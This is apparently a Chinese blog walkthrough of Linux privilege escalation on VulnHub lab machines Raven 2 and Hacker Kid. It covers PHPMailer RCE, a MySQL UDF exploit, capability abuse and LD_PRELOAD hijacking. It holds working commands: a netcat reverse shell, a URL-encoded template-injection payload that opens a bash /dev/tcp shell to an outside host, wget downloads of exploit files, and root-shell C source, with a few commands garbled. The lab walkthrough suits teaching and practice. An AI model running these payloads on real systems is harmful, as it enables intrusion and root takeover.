Linux提权四:Capability能力&LD_Preload加载

Linux系统提权 - Web用户-数据库类型

靶机演示:Raven 2

环境复现:https://www.vulnhub.com/entry/raven-2,269/

kali:192.168.1.8

nmap+mac得到:192.168.1.10

apache 2.4 从readme.php获得 phpmailer 5.2 数据库:mysql

CMS:wordpress 4.8.7 phpmailer 5.2.16

复制代码
/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

然后用msconsole搜索PHPMailer,有两个利用方式,用了都不行

用kali自带的searchsploit

命令:

复制代码
searchsploit phpmailer

然后 searchsploit -m 40974.py 将要用的脚本拷贝到当前目录

然后vi编辑 40974.py 在文件头加上

#!/usr/bin/python --->告诉操作系统 "用哪个程序来运行这个脚本"

#-- coding: utf-8 -- --->声明源文件编码

存在漏洞的网页是为什么在contact.php里(疑点?)

phpmailer 是用来处理邮件发送的,这个网站只有在联系我们页面有类似功能

问题二:为什么用40974.py他一个,其他不行吗

解答:

1.我们要拿权限,要远程代码执行,其他几个什么文件例如

**40986.py:**该 EXP 针对 PHPMailer + SwiftMailer + Zend Framework 的组合场景,但 Raven 靶机 仅独立部署 PHPMailer

**42221.py :**邮件传输代理(MTA)不匹配

**43056.py :**该 EXP 是 本地文件泄露漏洞 (只能读取服务器文件,如 /etc/passwd、代码源文件),但渗透测试的核心目标是RCE 权限(控制靶机)。即使成功利用,也无法直接拿到 shell,因此实际渗透中优先级极低。

2.kali默认为python环境,php执行需要下载其他包

运行这个攻击文件会自动在网站根目录下面生成一个后门文件icepeak.php

然后:python3 40974.py

监听端口 nc -lvvp 4444

url访问http://192.168.1.10/icepeak.php 访问后门文件就会触发反弹shell

再进入交互式shell

复制代码
python -c 'import pty;pty.spawn("/bin/bash")'

find / -name flag* 发现两个

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png --->url 访问(注意没有整个的路径,我们要从wordpress开始:wordpress/wp-content/uploads/2018/11/flag3.png) /var/www/flag2.txt

ls 后 cd 到wordpress再次ls

注意数据库配置文件一般在config.php下面,cat后找到账户和密码

进入数据库,查看

  • secure_file_priv配置宽松:若该参数设置为空或指定可写目录,允许导出文件
  • SHOW VARIABLES LIKE 'secure_file_priv';

来到users表得到两个用户和密码R@v3nSecurity

数据库版本 5.5.6

UDF提权

searchsploit mysql udf

searchsploit -m 1518.c

然后进行编译:gcc -g -c 1518.c 再 gcc -g -shared -o 1518.so 1518.o -lc

攻击机使用python的http模块开启服务(临时开一个网站),让目标机去下载这个编译好的文件

然后有shell的命令框进入tmp目录,下载exp文件

wget http://192.168.1.8:8000/1518.so

复制代码
use mysql;   #进入数据库
create table foo(line blob);  #创建数据表foo
insert into foo values(load_file('/tmp/icepeak.so'));   #插入数据
select * from foo into dumpfile '/usr/lib/mysql/plugin/icepeak.so';#Foo表成功插入二进制数据,然后利用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出新建存储函数
create function do_system returns integer soname '1518.so';
#(创建自定义函数do_system 类型是integer,别名
soname文件名字然后查询函数是否创建成功)
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
#(调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令)
quit 退出mysql,使用/usr/bin/find提权

Linux系统提权-Web&用户-Capability能力

复制代码
原理参考:<https://www.cnblogs.com/f-carey/p/16026088.html>
c[p](<https://www.cnblogs.com/f-carey/p/16026088.htmlcp>) /usr/bin/php /tmp/php
设置能力:setcapcap_setuid+ep /tmp/php
删除能力:setcap -r /tmp/php
查看单个能力:getcap /usr/bin/php
查看所有能力:getcap -r /2>/dev/null

环境复现

https://www.vulnhub.com/entry/hacker-kid-101,719/

复现步骤

前面web入口比较复杂,这里跳过,主要看提权

来到入口点,通过账号密码登陆到后台:

账号:saket 密码:Saket!#$%@!!

登录后用模版注入反弹shell,访问如下网址触发反弹Shell命令

复制代码
<http://192.168.139.141:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E0%2E129%2F8888+0%3E%261%22%27%29%7D%7D>
复制代码
#在kali上用python起一个网站服务,用wget命令在shell下载
攻击机的inject.py文件,然后执行for....命令
/sbin/getcap-r /2>/dev/null
python -m http.server 8080
wget <http://192.168.139.141:8080/inject.py>
#写了个循环,保证每一个进程都能注入一遍
for i in 'ps -eflgrep rootlgrep -v "grep"lawk '(print $2y''; do
python2.7 inject.py $i; done
nc 192.168.139.156 5600
结论:suid升级版,更细致的权限划分,通过能力有哪些权限设置进行利用

如下图为没注入和注入后nc命令执行的情况

Linux系统提权-普通用户-LD_Prelpad加载

这个就类似于Windows中的DLL劫持,只不过在Linux中是.so文件,在Windows中是.dll文件

提权原理:在一个应用程序运行时会加载一些固定的动态链接库,也就是so文件,一旦设置了LD_Preload,就可以用这个LD_Preload在程序运行前优先加载攻击者自定义的so文件,从而达到提权效果。

使用条件

/etc/sudoers文件中:设置Defaults env_keep += LD_PRELOAD选项

复制代码
参考:<https://www.cnblogs.com/backlion/p/10503985.html>
Default  senv_keep += LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find

gcc -fPIC -shared -o [shell.so](<http://shell.so/>) shell.c -nostartfiles
ls -al [shell.so](<http://shell.so/>)
#让find在执行的时候绑定这个so文件
sudo LD_PRELOAD=/tmp/shell.so find 
whoami

Defaults  env_keep += LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh
sudoLD_PRELOAD=/tmp/shell.sO /tmp/LinEnum.sh
结论:sudo提权有限制,但是一旦设置了LDPRELOAD,那么只要有程序既可提权
复制代码
#随便vim一个文件,保存文件名为shell.c,文件内容如下

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setgid(0);
	setuid(0);
	system("/bin/sh");
}

编译该文件为shell.so文件:

复制代码
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

然后运行find命令,并且在运行时预加载shell.so文件:

复制代码
sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh
相关推荐
looking_for__1 小时前
【Linux】传输层协议UDP和TCP
linux·运维·tcp/ip·udp
好好学习天天向上~~2 小时前
8_Linux学习总结_进程
linux·运维·学习
Lw老王要学习2 小时前
无互联网的正式 CentOS 7.6环境中安装 mysql-8.0.36-1
linux·服务器·mysql·centos
松涛和鸣2 小时前
75、 IMX6ULL LM75温度传感器I2C驱动开发
java·linux·数据库·驱动开发·python
之歆2 小时前
Linux命令完全指南
linux·运维·服务器
Lsir10110_2 小时前
【Linux】线程初步——线程概念以及接口认识
linux·运维·服务器
梦雨羊3 小时前
搭建服务器进行测试
linux·运维·服务器
哼?~3 小时前
磁盘与文件系统
linux
Bigbig.3 小时前
Linux 挖矿病毒深度排查与修复实录
linux·安全